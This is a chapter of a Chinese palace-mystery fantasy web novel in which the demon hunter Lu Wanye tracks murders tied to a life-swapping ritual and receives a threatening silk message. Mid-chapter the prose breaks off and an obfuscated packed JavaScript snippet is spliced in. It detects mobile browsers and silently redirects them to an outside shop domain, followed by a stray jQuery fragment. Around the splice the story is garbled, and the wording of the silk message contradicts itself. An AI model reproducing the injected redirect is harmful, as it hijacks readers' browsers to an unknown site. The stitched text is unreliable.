鹿挽叶从冷宫出来时，天已经快亮了。
她没有回住处，而是找了个废弃的值房，把门反锁，坐在一堆落满灰尘的旧案卷中间。叶子从袖中爬出来，荧绿色的光微弱得像快要熄灭的烛火。
“你先休息。”鹿挽叶把叶子放在一块干净的帕子上，自己铺开一张纸，开始写。
她把昨晚看到的一切列了出来。
已知死者：
1.偏殿男尸——刘侍郎府上的人，一刀割喉，左撇子，被下了“醉红颜”。致命伤特征指向凶手是左撇子，而她右手持刀，身高也够不着柱子上的抓痕。
2.偏殿宫女——勒死，非自缢，嘴里有“醉红颜”残留。死亡时间在天黑之后，不是殉葬那批。
关键物证：
半块焦黑木牌，刻“萧”字+妖族封印纹路。妖气残留，和之前斩杀的妖祟同源。
黑色长发丝，末端带血迹，来自某个活人——那人当晚也在宫中。
关联线索：
“醉红颜”——贵女官府上常用药酒。
“晴天娃娃”——疯妃子念叨的，断头的宫女。
殉葬侍妾——刘侍郎家的，说是自缢，但头是缝上去的。
贵女官看到她时的反应——“你没死”“不记得我了”。
未解疑点：
木牌上的妖族封印纹路在封印什么？谁烧的？
贵女官和她的过去——为什么贵女官以为她死了？
那批殉葬侍妾真正的死因是什么？头为什么被缝上去？
男主谢临酌为什么要跟踪她？他知道多少？
妖祟出现在皇宫的目的是什么？和这些命案有无直接关系？
鹿挽叶盯着最后一条，笔尖在纸上顿了一下。
叶子微微亮了一下，声音虚弱：“挽叶……你怀疑这些命案和妖祟有关？”
“不是怀疑。”鹿挽叶把纸折起来收入袖中，“是肯定。那具男尸身上没有妖气，是被凡人杀的。但偏殿宫女身上——我闻到过极淡的妖气残留，被酒味盖住了。她死的时候，妖祟就在附近。”
“所以你刚才在偏殿里找……”
“找到了。”鹿挽叶摸了摸袖中那块焦黑的木牌，“有人在用这个召唤或者控制妖祟。木牌被烧毁，说明他们想销毁证据。但没烧干净。”
她站起来，把叶子小心地放回袖中。
“出宫。这里查不到更多了。”
鹿挽叶没有走宫门。她翻过冷宫西侧的围墙，落进一条夹巷，三转两转便出了皇城范围。
天已经彻底亮了。街上开始有了早市的人声，卖豆浆的、挑担子的、赶着驴车的。她混入人群，把脸藏进兜帽里，朝城南方向走去。
叶子从袖口探出小半个脑袋：“我们去哪？”
“贵女官府上在城南。但不去正门。”鹿挽叶的脚步很快，“先绕一圈，看看周围环境。”
贵女官的府邸占地极广，从皇城南墙一直延伸到甜水井胡同。鹿挽叶沿着外墙走，经过三道门——正门气派，两侧石狮子张着大嘴；东侧门有家丁守着；西侧是一条死巷，墙根长满青苔，堆着废弃的砖瓦。
她没有停，继续往南走。
再往前，街道变得越来越窄，房子越来越矮。空气里多了一股臭味——像是垃圾沤了很久，又混着血腥。
鹿挽叶皱了皱眉。
这里已经是贵女官府邸的背面，紧挨着一片被高墙围起来的荒园。墙上爬满枯藤，一扇铁门锈死了，门缝里透出一股说不清道不明的腐败气息。
她停下脚步。
叶子忽然抖了一下：“挽叶……这里有妖气。很淡，但很浓烈——不对，是很浓烈但已经散了。像是……”
“像是妖祟刚在这里进食过。”鹿挽叶替她说完。
她伸手推了一下铁门，纹丝不动。她没有犹豫，翻身上墙，手指扣住砖缝，轻盈地翻了过去。
荒园比她想象的大。杂草齐腰，几棵歪脖子槐树张牙舞爪地伸向天空。地上散落着碎石、破瓦、以及——
一滩血。
很大的一滩，已经半干了，呈喷射状向四周扩散。血迹中央有一团碎布，像是衣服被撕烂后剩下的。碎布旁边，是一只鞋。
女人的鞋。绣花的，做工精致，不是普通人家用得起的。
鹿挽叶蹲下来，没有碰任何东西。
“妖祟吃的。”她说，声音很平，“人已经被吃完了，只剩下这些。”
叶子从袖中探出头，看了一眼又缩回去，声音发颤：“什么人会被带到这种地方……被妖祟吃掉？”
鹿挽叶没有回答。她的目光落在血迹边缘——那里有几道拖拽的痕迹，从血迹中心向外延伸，然后在半米外消失了。不是人被拖走的痕迹，是妖祟离开的痕迹。
但让她瞳孔微缩的，是拖拽痕迹旁边的一个东西。
一小片丝绸。
深紫色，质地极好，边缘被撕裂，上面沾了血。但血迹的形态不是喷溅上去的——是蹭上去的。像是这块丝绸原本包裹着什么东西，被匆忙扯开，血蹭到了内侧。
鹿挽叶用刀尖挑起丝绸，翻过来。
内侧用炭笔写着一行小字。字迹潦草，但能辨认：
“三日之内，再送五人。否则换命之术反噬，谁也活不了。”
鹿挽叶的眉头拧紧了。
换命之术。
她把这四个字在舌尖滚了一遍，然后收起丝绸，站起身。她没有清理痕迹——没必要，这里的秘密迟早会被人发现，但不是现在。
她翻墙出去，绕到贵女官府邸的东侧。
天已经暗下来了。黄昏的光把贵女官府邸的屋檐染成暗金色。
鹿挽叶找了一棵靠墙的老槐树，三两下爬上去，隐入枝叶中。从这里可以看到府邸后院的一排窗户，其中一扇半开着，里面有烛光和人影。
她等了不到一炷香的工夫，就听到了说话声。
一男一女。
女的声音有些恐惧，带着后怕，男的嗓音低沉，带着犹豫和狠厉，年纪偏大，像是某个官宦和家眷。
“那批人什么时候能送过来，刘子翁撑不住了，自从那次事情之后，他生命体征就越来越弱了！”男人的声音。
“上个月送过去的五个，没撑过三天就死了。“
“而且宫里面传来消息，刘子能已经死了，这就是警告！”
女子的声音上了年纪，却掩饰不住厌恶，”一个庶子，死了就死了，有什么大不了的，你可别忘了，子翁是你唯一的嫡子！”
男子声音也染上了尖酸，“我能不知道吗，不需要你提醒我，要是可以，子能能换回来子翁的命我也愿意，陈兰茹我也告诉你，要不是忌惮你背后，我早就把你杀死在这！”
空中传来一声破空声，随即一道狠厉的巴掌就落到了男子的脸上，鹿挽叶甚至听到了抽气的声音。
“刘文秀我也告诉你，不管翁儿如何，只要他再出现一点不好的意向，你和你养的那个小贱人都别想活，你要杀了我，我无所谓，你也一样！”
这么狠厉的话就连鹿挽叶听到也感到了疑惑，不过按照刚才的照面，贵女官的消息可不像是随便就能知道的。
她想起刚才的场景，皇帝脸上的错愕不像是假的，虽然只有一瞬，他慌什么，没想到会有人拜他？
窗户里闪过一个男人的影子——矮胖，穿着暗纹锦袍，低着头退了出去。
鹿挽叶在树上没有动。
延年益寿。换命之术。嫡庶贵贱，这里面到底还有什么她忽略了？
这些词串在一起，像一根烧红的铁条，在她脑子里烙出一个清晰的轮廓：贵女官在用某种邪术——很可能是妖族的换命之术——为某些权贵延长寿命。
可为什么这个“刘子翁”需要延寿？听起来像是被动的短命，不然那个女子也不会说再出现。
那些被送来的人，下场就是荒园里那滩血。
而妖祟，是执行这个过程的“工具”。
她想起疯妃子的话：“她把她们的头都砍下来挂在绳子上！晴天娃娃！”
断头。绳子。妖祟食人。换命。妖祟为什么要吃人，又为什么盯着这些权贵不放，他们到底干了什么？
这些线索开始咬合在一起，发出咯吱咯吱的声响。
鹿挽叶从树上滑下来，无声无息地落在地上。
她要回宫。去冷宫再看一眼那具男尸——不对，男尸已经被抬走了。但偏殿里还有宫女尸体，还有那根朱柱上的抓痕，还有那个疯妃子。
她必须再去一次。
从贵女官府邸到皇宫，最短的路要经过一段夹墙。两边是高墙，中间一条窄道，仅容两人并肩。白天这里是运送恭桶的通道，晚上没人愿意走。
鹿挽叶不在乎。
她走进夹墙时，月亮刚好被云遮住。
走了不到二十步，她忽然停下。
不是因为听到了什么——是因为太安静了。连风都没有。这种安静不正常，像是什么东西把声音都吸走了。
她手按刀柄，缓缓转头。
身后什么都没有。身前也什么都没有。
但头顶有什么东西飘下来了。
一块丝绸。
深红色，比荒园里那片更大，质地更厚实，边缘整齐——不是被撕碎的，是被裁开的。它像一片落叶一样旋转着飘落，不偏不倚地落在鹿挽叶面前的地面上。
鹿挽叶没有弯腰去捡。
她的目光盯着头顶——墙头上有一个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950777|214164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
影一闪而过，快得像错觉。
丝绸落地的声音几乎没有，但她听到了。她低头，看清了上面用金线绣的字。
做工精细的帕子用血红色写上了这几个大字，显得精致又渗人。
“警告你，再查下去，死得很惨。”
下面的落款是一枚印章图案：一只睁开的眼睛，瞳孔里有一个扭曲的“禁”字。
鹿挽叶盯着那行字，瞳孔微缩。
炼妖壶。那是妖族传说中的刑器——专门炼化妖族魂魄，进去的人永世不得超生。
这不是贵女官的警告。
贵女官不会用“炼妖壶”这个词。凡人不知道这个。不过不排除她知道什么，现在想来，当时那些太监和宫女跪了一地，真的是害怕皇帝吗？
要是贵女官真的重视这个皇帝，怎么会那个态度，话里话外是让他让权，简直不像是对一个皇帝。她像是故意出现的，她算到皇帝回去那里。
那里有什么？
一个疯了的妃子？
那个疯妃子很重要，她知道什么……所以贵女官才会出现阻止她们继续查，本质上是截断，不过可能没想到自己会去，看她的反应，认识她？
鹿挽叶在心里不断思考着，不过被她忽略的事情她突然想到了。
那些人能不能是贵女官自己带过去的？
那些太监宫女不仅忌惮皇帝，也忌惮贵女官，不然只害怕一方，就不会在皇帝让他们离开的时候赶紧滚。
分庭抗礼……
鹿挽叶看着自己手上的帕子，上面的纹路绝对不是人类世界的，可是为什么会有这个，除非贵女官知道，那那个皇帝呢？
恐怕……看来两个人都不是什么善茬啊，偏偏还和自己前世有关，越来越有意思了，自己这一趟怕是能知道不少东西。鹿挽叶攥紧手，没关系，来都来了……
至于妖族那边的警告？呵，关她屁事，真是不知道下来的是谁，天界那帮老东西都闻风丧胆的妖族克星，这点玩意也敢来她面前放肆！
看看这个东西还能有什么线索吧，毕竟都送到门口了，不研究一下怎么行呢？
她蹲下，用刀尖挑起丝绸。质地和荒园里那片完全不同——那片是普通的绸缎，沾了血蹭了泥，粗糙潦草。这片是上好的云锦，金线刺绣，工整精致。
两个不同的来源。
两批不同的人。
一批在用邪术换命、延寿，吃人肉，搞晴天娃娃。另一批——在盯着她，警告她，不让她查下去。
鹿挽叶把丝绸折好，放入袖中，和那片深紫色的碎片放在一起。
她没有加速，也没有减速，继续穿过夹墙，朝皇宫的方向走去。
身后，墙头上那个影子又出现了一瞬，然后彻底消失。
她翻墙回到冷宫时，月亮已经偏西。
偏殿门口多了一道封条，但没有侍卫看守。她推开门，殿内比昨晚更冷，那股甜腥味淡了一些，但还在。
宫女尸体已经被抬走了。
鹿挽叶走到那根朱柱前，重新看那道抓痕。她踮起脚，指尖刚好够到抓痕的最下端。
“凶手身高比我高出一截。”她自语。
然后她蹲下来，在柱子底部又找到了几缕黑发丝——和她昨晚找到的一样，但更短。
她把这些发丝收好，站起身，走向角落。
疯妃子不在。
她又走出偏殿，在院子里找了一圈。没有。那疯女人像是凭空蒸发了。
鹿挽叶站在荒草丛中，月光把她的影子拉得很长。
她从袖中取出那两块丝绸，并排放在地上。
深紫色，炭笔字，糙边，写着“换命之术”。
深红色，金线绣字，齐边，写着“炼妖壶，万劫不复”。
前者是凡人的罪恶。后者是妖族的警告。
两件事，搅在了一起。
鹿挽叶把它们重新收好，抬起头，望着冷宫深处那座塌了半边的宫殿。
“明天，”她说，声音很平淡，像是在说明天天气一样。
“我去一趟贵女官府上。这次，进后院那座小楼。”
叶子在她袖中没有回应——已经虚弱得快要陷入沉睡了，这帕子上沾了什么东西，让它被迫昏倒。
鹿挽叶伸手按了按袖口，像是在安抚一个孩子。然后她转身，消失在夜色中。
而在她身后，冷宫深处那座塌了半边的宫殿里，一扇窗户忽然亮了一下。
一闪。又灭了。
像是有什么东西在里面，点了一盏灯，又匆忙吹熄。
夜风里，隐隐约约传来疯妃子的歌声，断断续续，像从很远的地方飘来：
“晴天娃娃挂树梢，一个两个三个……断了头，没人瞧……”